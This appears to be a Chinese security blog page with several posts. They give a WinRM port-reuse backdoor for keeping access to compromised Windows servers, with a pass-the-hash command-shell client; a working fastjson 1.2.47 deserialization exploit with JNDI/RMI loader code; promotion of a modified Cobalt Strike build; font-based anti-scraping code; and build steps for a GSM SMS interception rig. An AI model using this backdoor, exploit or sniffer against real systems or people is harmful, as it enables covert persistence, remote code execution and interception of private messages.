"funk" 发布的文章

0x0. 基本原理介绍

该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。这句话是抄的。话不多网上有详细介绍。在用本后门的情况下是必须拿下服务器,用来维持一段时间的权限,要想一直不被发现请移步rootkit!

0x1. 后门配置方法

首先查看系统有没有启动该服务,如没有启动请启动,没有启动的情况是返回空,

winrm enumerate winrm/config/listener


启动服务命令,这是交互必须要y 确认启动。比较鸡肋

winrm quickconfig -q

WinRM 没有设置成为了管理此计算机而允许对其进行远程访问。
必须进行以下更改:

在 HTTP://* 上创建 WinRM 侦听程序接受 WS-Man 对此机器上任意 IP 的请求。
启用 WinRM 防火墙异常。
配置 LocalAccountTokenFilterPolicy 以远程向本地用户授予管理权限。

进行这些更改吗[y/n]? y

WinRM 已经进行了更新,以用于远程管理。

在 HTTP://* 上创建 WinRM 侦听程序接受 WS-Man 对此机器上任意 IP 的请求。
WinRM 防火墙异常已启用。
已配置 LocalAccountTokenFilterPolicy 以远程向本地用户授予管理权限。

查看当前配置 如果系统启动的该服务,可以先运行次命令查看服务。

winrm e winrm/config/listener

Listener
    Address = *
    Transport = HTTP
    Port = 5985
    Hostname
    Enabled = true
    URLPrefix = wsman
    CertificateThumbprint
    ListeningOn = 127.0.0.1, 192.168.1.233, ::1, fe80::5efe:192.168.1.233%12, fe
80::a42e:4069:38ce:e9d%11

配置为winrm service 配置auth

winrm set winrm/config/service/auth '@{Basic="true"}'

    Basic = true
    Kerberos = true
    Negotiate = true
    Certificate = false
    CredSSP = false
    CbtHardeningLevel = Relaxed

为winrm service 配置加密方式为允许非加密,如果不配置此项只能win客户端连接,linux 就用不了。

winrm set winrm/config/service '@{AllowUnencrypted="true"}'


修改WinRM端口实现端口复用

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

Listener
    Address = *
    Transport = HTTP
    Port = 80
    Hostname
    Enabled = true
    URLPrefix = wsman
    CertificateThumbprint
    ListeningOn = 127.0.0.1, 192.168.1.233, ::1, fe80::5efe:192.168.1.233%12, fe
80::a42e:4069:38ce:e9d%11

ps:新增80端口Listener
对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
使用下面这条命令即可新增一个80端口的listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

    RootSDDL = O:NSG:BAD:P(A;;GA;;;BA)S:P(AU;FA;GA;;;WD)(AU;SA;GWGX;;;WD)
    MaxConcurrentOperations = 4294967295
    MaxConcurrentOperationsPerUser = 15
    EnumerationTimeoutms = 60000
    MaxConnections = 25
    MaxPacketRetrievalTimeSeconds = 120
    AllowUnencrypted = true
    Auth
        Basic = true
        Kerberos = true
        Negotiate = true
        Certificate = false
        CredSSP = false
        CbtHardeningLevel = Relaxed
    DefaultPorts
        HTTP = 5985
        HTTPS = 5986
    IPv4Filter = *
    IPv6Filter = *
    EnableCompatibilityHttpListener = true
    EnableCompatibilityHttpsListener = false
    CertificateThumbprint

0x2. 后门连接Python脚本支持Hash登录

系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。也是踩了很多坑,留下了没有技术的眼泪。。。

-w1257
-w1267

代码如下:

# encoding: utf-8
# -*-*-
# By:连长 『zh (www.lianzhang.org)』
# -*-*-
import argparse

import requests
import winrm


def GetUrlState(url, port):
    """获取当前后门的状态"""
    urls = url + ":" + str(port) + "/wsman"
    r = requests.get(urls)
    if r.status_code == 405:
        return True
    else:
        return False


def ExecCmd(url, port, cmdshell, mode, **kwargs):
    """执行后门"""
    if kwargs.get("hashpasswd"):
        try:
            Windwoscmd = winrm.Session(url + ":" + str(port), auth=(kwargs.get("user"), kwargs.get("hashpasswd")),
                                       transport="ntlm", server_cert_validation='ignore')
        except Exception, ex:
            print "[+]> 程序发生错误:" + str(ex)

        if mode == "cmd":
            print "[+]> 使用原始Cmd执行:" + str(cmdshell)
            Result = Windwoscmd.run_cmd(str(cmdshell))
        elif mode == "powershell":
            print "[+]> 使用powershell执行:" + str(cmdshell)
            Result = Windwoscmd.run_ps(str(cmdshell))
        else:
            print "[*]> 请选择需要执行的方式,cmd & powershell"
            exit()
        # if Result.status_code != 0:
        #     print "[*]> 执行失败!请检查执行命令:" + str(cmdshell)
        print Result.std_out.decode('gbk')
    else:
        try:
            Windwoscmd = winrm.Session(url + ":" + str(port), auth=(kwargs.get("user"), kwargs.get("passwd")))
        except Exception, ex:
            print "[+]> 程序发生错误:" + str(ex)

        if mode == "cmd":
            print "[+]> 使用原始Cmd执行:" + str(cmdshell)
            Result = Windwoscmd.run_cmd(str(cmdshell))
        elif mode == "powershell":
            print "[+]> 使用powershell执行:" + str(cmdshell)
            Result = Windwoscmd.run_ps(str(cmdshell))
        else:
            print "[*]> 请选择需要执行的方式,cmd & powershell"
            exit()
        # if Result.status_code != 0:
        #     print "[*]> 执行失败!请检查执行命令:" + str(cmdshell)
        print Result.std_out.decode('gbk')


if __name__ == '__main__':
    print """
        lianzhang.org   
       """

    parser = argparse.ArgumentParser(description='WinRMTTools by:lianzhang.org')
    parser.add_argument("-url", "--url", metavar="", required=True, help="http://www.lianzhang.org")
    parser.add_argument("-port", "--port", metavar="", help="The default listening port", default="80")
    parser.add_argument("-m", "--mode", metavar="", help="Execution type cmd or powershell", default="cmd")
    parser.add_argument("-u", "--user", metavar="", help="username", default="administrator")
    parser.add_argument("-p", "--passwd", metavar="", help="password", default="")
    parser.add_argument("-hash", "--hashpasswd", metavar="", help="LM:NTLM", default="")
    args = parser.parse_args()
    print "[+]> 正在执行:" + str(args.url)
    if GetUrlState(args.url, args.port):
        while True:
            try:
                try:
                    cmdshell = raw_input("CmdShell> ")
                except Exception, ex:
                    print "[+]> 输入的有问题!"
                    exit()

                if str(cmdshell) == "exit":
                    exit()
                if str(cmdshell) == "?":
                    print "[+]> 输入你想要执行的windwos命令!"
                    exit()
                ExecCmd(args.url, args.port, cmdshell, args.mode, user=args.user, passwd=args.passwd,
                        hashpasswd=args.hashpasswd)
            except Exception, ex:
                print "[*]> 发生严重错误:" + str(ex)
                break
    else:
        print "[*]> Windwos WinRM服务未开启请检查服务是否开启!"

winRMTools.py -url http://192.168.1.233 -port 80 -m powershell -p allsec

winRMTools.py -url http://192.168.1.233 -port 80 -m powershell -hash LM:NTLM

0x3. UAC问题

WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

0x4. 后门配置一键脚本

为了方便,给出快速启动脚本便于快速启动。

0x5. 结语

本文给出了一种使用WinRM作为端口复用后门的方法。但限于篇幅,还存在很多细节问题没有涉及,留待读者进行更深层次的研究。另外也在此抛出两个小问题,有兴趣的读者可以思考下:

1、在已有WinRM服务的情况下,对于非80端口的web服务要如何处理;

2、HTTPS连接的配置和使用。

3、如何开机启动,如何复用其他端口。

poc

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)

环境准备

阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。

rmiServer.java

/*
 * Copyright sky 2019-07-11 Email:[email protected]
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.fastjsontest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author sky
 */
public class test3 {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://localhost:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

poc.java

/*
 * Copyright sky 2019-07-11 Email:[email protected]
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package cn.org.javaweb.fastjsontest;

import com.alibaba.fastjson.JSON;

/**
 * @author sky
 */
public class test5 {

    public static void main(String[] argv) {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "\"xxxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
                "\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}";
        JSON.parse(payload);
    }

}

其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。
-w556

调用分析

调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 执行逻辑中:

首先遇到的是第一个[email protected],然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。

if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
 ………… ………… …………
if (object != null&&object.getClass().getName().equals(typeName)) {
    clazz = object.getClass();
} else {
     clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
 }
 ………… ………… …………

    Object obj = deserializer.deserialze(this, clazz, fieldName);
    return obj;

}

fastjson会去检测@type的类是否为黑名单中的类,
-w798

而poc中传入的@type为java.lang.class并非黑名单中的类,所以第一步检测的通过的。
接下来会把对应的value进行加载,也就是加载java.lang.class
-w793

跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)
-w771

可以看到lexer中的stringValpoc中的val,而val的值为com.sun.rowset.JdbcRowSetImpl.
接下来将objVal赋值给strVal
-w810
然后执行下面一大串if判断,其中有个if为:
如果传入的clazzjava.lang.class,则会调用TypeUtils.loadClass加载com.sun.rowset.JdbcRowSetImpl类,
-w800

跟进loadClass方法
-w800

从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测
-w816

导致将com.sun.rowset.JdbcRowSetImpl放入mapping中的问题点是在loadClass中的第三个参数,该参数是指是否对class放入缓存mapping中。

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

1.2.47版本中的代码
-w794

结语

文章中有不对的点欢迎指出,勿喷,文明交流 转载>03sec.com

什么是AggressorScripts

Aggressor Script是Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggresor Script允许您修改和扩展Cobalt Strike客户端
Aggressor Script是一种脚本语言,用于红方操作和可编写脚本的IRC客户端和机器人启发的对手模拟。它的目的是双重的。您可以创建长时间运行的机器人模拟虚拟红色团队成员,并与您并排进行黑客攻击。您也可以使用它来扩展和修改Cobalt Strike客户端以满足您的需求。
通俗来讲就是Cobalt Strike可扩展插件,您可以在cs上拓展你想要的功能。

如何加载AggressorScripts脚本

Aggressor Script内置于Cobalt Strike客户端。要永久加载脚本,请转到Cobalt Strike - > Script Manager,然后按 Load。

-w1136

当然你想调试你的脚本或者想调用你的脚本的话cs提供一个脚本控制台,可以很好的帮助你跟踪,配置,调试和管理脚本。
-w734
-w1006

关于AggressorScripts脚本的编写

Sleep语言基础语法

文档地址
$x=1+2; # 此类语法无效!!
$x = 1 + 2; #正确语法

Sleep变量称为标量,标量包含字符串,各种格式的数字,Java对象引用,函数,数组和字典。以下是Sleep中的几项列子:

$x = "Hello World";
$y = 3;
$z = @(1, 2, 3, "four");
$a = %(a => "apple", b => "bat", c => "awesome language", d => 4);

注释以#开头,直到结束。
使用@和%函数创建数组和字典。数组和字典可以引用其他数组和字典。数组和字典甚至可以引用自己。
Sleep会插入双引号字符串。这意味着以$**符号开头的任何以空格分隔的标记都将替换为其值。特殊变量**$ +将插值字符串与另一个值连接起来。
println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");
具体不详细说说明请参照官方文档。

结尾这里有我收藏的许多AggressorScripts共享的git

https://github.com/harleyQu1nn/AggressorScripts
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/Und3rf10w/Aggressor-scripts
https://github.com/001SPARTaN/aggressor_scripts
https://github.com/vysecurity/Aggressor-VYSEC
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/rasta-mouse/Aggressor-Script
https://github.com/ramen0x3f/AggressorScripts
以上在git都可以搜索到,大家也可以广泛收集,喜欢玩红方的朋友可以关注下,下面我放出我们的cs3.13pro专业版, 专业版本和使用版本不同之处就是在于代码逻辑性和错误处理能力和代码可读性都比使用要强,换大牛的说法就是使用版本是菜鸡写的,pro才是真正作者自用。
-w1280

而且去除许多暗装,增项了许多功能,vnc也更新了。。。
近期cs官方发布了3.14的版本,可能cs最想要的就是官方的AggressorScripts库了吧,当然也只有正版的key才能获取。

aggressor 脚本收集

## C2 Profiles 脚本收集

0x0 前言

反爬虫和爬虫之间的较量已经争斗多年,不管是攻还是守,已经持续N年,这是一个没有硝烟的战场,大家都知道爬虫和反爬之家的道高一尺魔高一丈的关系。但这个方案可以很大程度上可以增加普通爬虫的采集成本,在不使用OCR的前提下,算是比较极致的方案了。当然方案有很多种,层出不穷的各种方法,这里介绍的时候反爬虫的中的一种比较实用的方案,字体反爬也就是自定义字体反爬通过调用自定义的ttf文件来渲染网页中的文字,而网页中的文字不再是文字,而是相应的字体编码,通过复制或者简单的采集是无法采集到编码后的文字内容!必须通过程序去处理才能达到采集成本。
-w677
效果展示!

0x1 思路

细心的人会问,为什么不把所有的内容都替换成编码呢?这个就涉及到加载和渲染速度的问题。还有如果启动字体反爬虫,基本上已经告别SEO了,请仔细考虑中间的厉害关系,你懂得!
我们知道,单纯汉字就有好几千个,还有各种字符,有的还包含各种外国人的字符串!如果全部放到自定义字体库中的话,这个文件灰常大,几十兆是肯定有的了,那后果啥样就很清楚了,加载肯定很慢,更糟糕的是如此之多的字体需要浏览器去渲染,那效果,卡到爆!!!

为了解决这个问题,我们可以选择只渲染少量的、部分的文字,假设50个字,那么字体库就会小到几十K了,相当于一个小图片而已,加上CDN加速之类的,解决了。具体网络上又N种方法参考方法我会贴在下面!

如此简单?50个字儿呢可不是随便随便选择的,要选择那些爬虫采集不到就会很大改变整个语句的语义的词,直接点吧,也就是量词、否定词之类的。如原文“我有一头朱佩琪,我从来都不骑”,我们把其中的“一”、“不”放到我们的自定义字库中,这样一来,爬虫采集到的就是“我有头朱佩琪,我从来都骑”,嘿嘿,如果加上数字就更叼了,“漏洞版本 .. ???“ 是不是很猥琐。

但是上述方法早已让网络各位大神破解一遍了,这可如何是好呢?办法总是有的!如果让“叼”字的编码随机变化,但字体信息不变,浏览器渲染出来还是“叼”字那不就完美了,
于是,每个网页加载的时候,都随机加载了一套字体库,字体库的内容还是50个字,但每个字的顺序编码都是变化的,虽然我们打乱了关键字的编码顺序,但是每个字对应的字体信息是不变的,例如,“是”字一共有9划,每一笔划都有相应的x、y坐标信息,浏览器正是根据这些笔划信息渲染
-w518

如果吧,unicode编码和x,y坐标都骚做改动。他需要采集我的每一套字体库并且建立关系,这样增加的爬虫的成本,美滋滋。

0x3 实现

基于微软雅黑字库信息,抽取其中的关键字的字体信息,生成ttf 后 使用下方代码 开始随机然后随机生成上千套字库,后文章显示时随机从文件或者裤中查询出一套字库,并把文章中的关键字替换成Unicode编码进行渲染!

# encoding: utf-8
# -*-*-
# By:连长 『zh (www.lianzhang.org)』
# -*-*-
import random

from fontTools import ttx
from fontTools.ttLib import TTFont


def random_unicode(lengths):  # 随机生成Unicode字符集
    while True:
        shuma = ((str(random.sample(random_list, int(lengths))).replace('\'', '')).replace(',', '')). \
            replace(' ', '').replace('[', '').replace(']', '')
        if shuma[0].isalpha():
            return shuma
        else:
            continue


def TTFontsXML(filenames):  # 转换成XMl 到临时目录
    filenametemp = "temp/toolstemp.xml"
    font = TTFont(filenames)
    font.saveXML(filenametemp)
    return filenametemp


def TTFonts(filenames):  # 转换XML转换ttf
    try:
        print("开始转换字体!!!" + filenames)
        ttx.main([filenames])
        print ("-----------------------------------")
    except Exception as e:
        print ("Something went wrong converting ttx -> ttf/otf:")
        print (e)
        exit()


def Editfile(fontsjson, files):
    random_list = ["a", "v", "x", "s", "q", "w", "e", "r", "t", "y", "u", "i", "o", "z", "x", "c", "v", "b", "n", "m",
                   "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ]
    shuma = ((str(random.sample(random_list, int(25))).replace('\'', '')).replace(',', '')). \
        replace(' ', '').replace('[', '').replace(']', '')
    filenametemp = "temp/" + shuma + ".xml"

    try:
        with open(files, 'r+') as fileOpen:
            data = fileOpen.read()
            fileOpen.close()

        for key in fontsjson.keys():
            data = data.replace(str(relationdic[key]), str(fontsjson[key]))
            data = data.replace(str(relationdic[key]).upper(), str(fontsjson[key]).upper())
        with open(filenametemp, 'w') as f:
            f.write(data)
            f.close()
        return shuma + ".ttf", filenametemp
    except Exception, ex:
        print ex
        filenametemp = "error"
        filenames = ""
        return filenametemp, filenames


if __name__ == '__main__':
    random_list = ['e', 'a', 'd', 'f', 'c', 'b', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    ttf_patn = "FontTest.ttf"  # 请输入ttf文件绝对路径:
    unicodelengths = 4  # 输入 UniCode 长度:
    ttfnumber = 10  # 输入生成多少个文件:
    relationdic = {"0": "e2f1", "1": "efab", "2": "eba3", "3": "eba5", "4": "edfd", "5": "c57f", "6": "e261",
                   "7": "f4d2", "8": "bad5", "9": "d4c2",
                   "A": "bfec5", "B": "fc736", "C": "e6d21", "D": "be4a9", "E": "c0e8f", "F": "d3c26", "G": "b18a0",
                   "H": "acb06", "I": "fd33e", "J": "fd36e", "K": "d417c", "L": "ad31e", "M": "ec95a", "N": "b39ce",
                   "O": "d508a", "P": "a961d", "Q": "a76b0", "R": "b7f12", "S": "b0426", "T": "d5941", "U": "ede47",
                   "V": "fc5a6", "W": "ed947", "X": "fd781", "Y": "b761a",
                   "Z": "af370", "a": "fde89", "b": "ecb21", "c": "c123c", "d": "b4c2c", "e": "cbbc7", "f": "c10cb",
                   "g": "cb78b", "h": "fdac7", "i": "076fe", "j": "d0def", "k": "ed6de", "l": "eaa1a", "m": "de1e9",
                   "n": "9eaa5", "o": "123e5", "p": "e12e2", "q": "e5efd", "r": "e6ea9", "s": "e1e8a", "t": "b8eac",
                   "u": "23e1c", "v": "ea6ac",
                   "w": "b87de", "x": "e5dac", "y": "2ccea",
                   "z": "3ada9"}  # 必须当前混淆ttf填入关系 否则不知道谁是谁了。。。生成的json 文件也是错误的。。
    try:

        macs = len(relationdic) + 50 * ttfnumber  # 可能会有重复 多加点
        tem_list = []
        for x in range(0, int(macs)):
            tem_list.append(random_unicode(unicodelengths))
        tem_list = list(set(tem_list))  # 去重

        tempfontsxmlpa = TTFontsXML(ttf_patn)  # 转换到临时XML地址。。

        okjson = []

        for f in range(0, ttfnumber):
            relationdictemp = relationdic.copy()
            for key in relationdictemp.keys():
                b = random.sample(tem_list, 1)
                tem_list.remove(b[0])
                relationdictemp[key] = b[0]
            filenames, filenametemp = Editfile(relationdictemp, tempfontsxmlpa)
            if filenametemp != "error":  # 如果返回修改成功 启动转换ttf的程序!
                TTFonts(filenametemp)
                jsonSeve = {"url": filenames, "data": relationdictemp}
                okjson.append(jsonSeve)
            


    except Exception, ex:
        print ex

-w872
Git:https://github.com/hackxx/AntiCrawlerFontGeneration

上述代码中 不带x,y混淆,请自己修改代码谢谢,如有需要请联系我!

0x4 参考

https://www.jianshu.com/p/4d28dd440cdd
https://github.com/FantasticLBP/Anti-WebSpider


0x0 前言

嗅探装置价格低廉,很容易买到,一般几百块钱就可以配一套。一般使用摩托罗拉C118手机主板、天线、串口模块改装成嗅探设备。现在虽然大家都用4G的LTE网络了但是还有大量的2G的GSM网络存在,现在的GSM网络主要是中国移动的用户,中国电信没有GSM网络,中国联通在清退GSM网络,中国移动先清退的是3G 的TD网络而不是2G的GSM网络。GSM网络有一个很大的缺陷就是有很多的伪基站存在,在说伪基站之前先说我们相互之间通信的过程。我们打电话/发短信的过程是,手机信号是连接到离你最近的基站(BTS)然后进入RNC,MSC进行核心网的交换,再发给离对方最近的基站最后传到对方的手机中。如果这个时候你的手机接入的不是运营商的基站,那就危险了,这就相当于你进了“贼窝”了,这个不是运营商的基站就是伪基站。为什么我们的手机会进入假的基站呢?这是因为GSM网络的鉴权存在缺陷。在GSM网络中手机接入网络要鉴权验证,简单说就是运营商验证你的手机是否是合法用户,如果是就可以通信了,但是手机不会验证接入的基站是不是运营商的正规基站,这样即便接入了伪基站用户也是不知道的,在3G、4G的网络中会有这样的鉴权验证,比GSM网络安全的多。
嗅探设备的组装换汤不换药,只是组了一个更大的设备出来,用来复现短信嗅探场景。本文章只能用来测试,请勿用于非法用途。违者必究,且行且珍惜。

0x1 设备清单

  1. 摩托罗拉 C118手机 (6个改装过)
  2. 树莓派板
  3. USB拓展板 (6口的)
  4. USB 转串口 FT232rl (6个)
  5. 电源变压器一个
  6. 自定义电源中心控制器一个
  7. 天线 6根
  8. 承载用盒子一枚
  9. N个开关
  10. N个电阻和针脚
  11. 小号信号降频设备 (测试用)
  12. 6类网线或者其他类型的线。(串联设备用)
  13. 锡焊机器 (焊接设备用)
  14. 无线wifi路由器 (调试用)

0x2 设备安装

1.改装C118手机

C118手机是不可缺少的一部分,为什么要用6个设备呢?因为一台c118手机只能够监听也就是嗅探一个频点,所以按道理来说手机越多越好。来一个改装过全图,下图中是我做好的C118手机,仅供参考,实际情况看你自己需求。

-w437

先把C118手机外壳扒掉,准备 7根颜色不同的线,推荐6类网线,方便区分。接线方法请参照图中标识。

-w441
-w430

电源接口处接上 针脚

-w325

usb串口转接线 一定别接错了 否则无法开机无法刷机。。

-w353
-w332

因为天线接口我在网上找了半天也没有找到 用易拉罐做了一个相似的接头。可以参照我的发挥。

到此手机已经改装好了 按照上图 在做 5个出来

2.组装

2.1 供电

-w310

由于我设备已经焊死 不好拆卸,只好以上图方式 分开说明。可以看到上图 电源集合供电处,有块开发板,这个板的作用是给所有 设备供电,如手机树莓派,usb集线器,等等,可以参照我的做,但是也可以自己重新设计。

2.2 树莓派和USB集线器

-w854

接口太多 按照上图编号所示,

  1. USB集线器数据线接到树莓派USB口
  2. USB集线器电源接到供电开发板上
  3. USB集线器电源接口
  4. 树莓派供电口
  5. 树莓派接集线器USB接口
  6. 树莓派USB接的无线网卡
  7. 树莓派网口接的网线转接头

上图中 可以看到树莓派起到控制中心的作用,用来控制手机刷机嗅探等功能。至于USB集线器为什么要选择单独供电,是因为可能会导致电流不稳定,导致刷机失败。

2.3 电源开关控制器

-w676

上图是比较复杂的手工制作的电路控制器,用的c51可编程单片机。下图是电路原理图,看电路图可能看的更佳清晰明了。

C52单片机代码

#include <reg52.h>
void delay(unsigned int);
sbit LED0 = P0^0;
sbit LED1 = P0^1;
sbit LED2 = P0^2;
sbit LED3 = P0^3;
sbit LED4 = P0^4;
sbit LED5 = P0^5;
sbit LED6 = P0^6;
sbit LED7 = P0^7;
sbit LED_0 = P1^0;
sbit LED_1 = P1^1;
sbit LED_2 = P1^2;
sbit LED_3 = P1^3;
sbit LED_4 = P1^4;
sbit LED_5 = P1^5;
sbit LED_6 = P1^6;
sbit LED_7 = P1^7;   
sbit STAU_A = P2^3;  
sbit STAU_B = P2^2;
sbit KEY = P2^1;

void delay(unsigned int i){
    unsigned int j,k;
    while(i--){
        for(j = 0; j < 255; j++)
    for(k = 0; k < 240; k++);
    }
}
void main(){
    unsigned char i;
    while(1){   
        i=KEY;
    STAU_A=0;
        if(i==0){
            i=KEY;
            if(i==0)
      STAU_B = 0;
      LED0 = 0;
      LED1 = 0;
      LED2 = 0;
      LED3 = 0;
      LED4 = 0;
      LED5 = 0;
      LED6 = 0;
      LED7 = 0;
      LED_0 = 0;
      LED_1 = 0;
      LED_2 = 0;
      LED_3 = 0;
      LED_4 = 0;
      LED_5 = 0;
      LED_6 = 0;
      LED_7 = 0;
      delay(10);
      STAU_B=1;
      LED0 = 1;
      LED1 = 1;
      LED2 = 1;
      LED3 = 1;
      LED4 = 1;
      LED5 = 1;
      LED6 = 1;
      LED7 = 1;
        }else{
            i=KEY;
        }
    }
}

-w662

完工,在实际操作中碰到很多坑,大部分配件都是自己纯手工制作,虽然GSM嗅探技术年代久远,没有新鲜技术,但是想要研究无线安全技术,这是必定经历的一关。

0x3 设备调试

1.树莓派调试

把树莓派口网线口插入到路由器lan口。获取到ip后直接ssh连接。如果没有提前配置好ip的话估计要采用串口的方式连接了,这里不细做解释,自行百度。下面演示没有什么新鲜的配置和技术。

-w613

2.编译

工具:

sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc

gnuarm:

32 bit

wget http://www.gnuarm.com/bu-2.16.1_gcc-4.0.2-c-c++_nl-1.14.0_gi-6.4_x86-64.tar.bz2
tar xf bu-2.16.1_gcc-4.0.2-c-c++_nl-1.14.0_gi-6.4_x86-64.tar.bz2
mv gnuarm-* ~/gnuarm
export PATH=~/gnuarm/bin:$PATH

libosmocore:

git clone git://git.osmocom.org/libosmocore.git

cd libosmocore/
autoreconf -i
./configure
make
sudo make install
cd ..
ldconfig

具体编译过程可以参照网上的编译方法 也可以直接下载2进制文件.

https://github.com/K1two2/OsmocomBB_Raspberry-Pi_SMS_WEB_CODE

3.确定当前手机接入基站

使用降频设备降频后查看苹果手机基站ARFCN值。
-w332

手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入:
*#*#4636#*#*
上面这个是安卓通用的如果你的手机没反应,还可以尝试

Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#* 拨号
HTC (Android) : *#*#7262626#*#*

进去以后能找到基站的MCC、MNC、ARFCN这些参数。

 MCC 移动国家码
MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02
ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。
手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。
手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。
手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。

4.测试设备

短信嗅探其实可以分为三步曲 刷机>扫描>监听嗅探。

-w633
切换到root模式下查看usb串口是否读取到。我这里有6个USB口,可以看到上图是正常能够读取到usb口。

刷机:
-w626
-w606
刷机成功
接下来扫描频段
-w749
-w649

启动wireshark

sudo wireshark -k -i lo -f 'port 4729'

网卡一定要选择对,否则只能在本地抓包,-i 是指定网卡
-w560

/root/c118bin/bin/layer23/misc/ccch_scan -i 你的外网地址 -a 频段

-w851

-w1258

收到数据。

5. 开车

这里使用https://github.com/lxf94/GSM-Sniffer 按照smshack要求填入响应的路径,这里一定要注意里面的路径是否正常,否则是无法测试成功的。git开源的这个还不错,能支持多个设备同时,不过也有弊端。到时候在改吧。

-w673

0x4 结尾

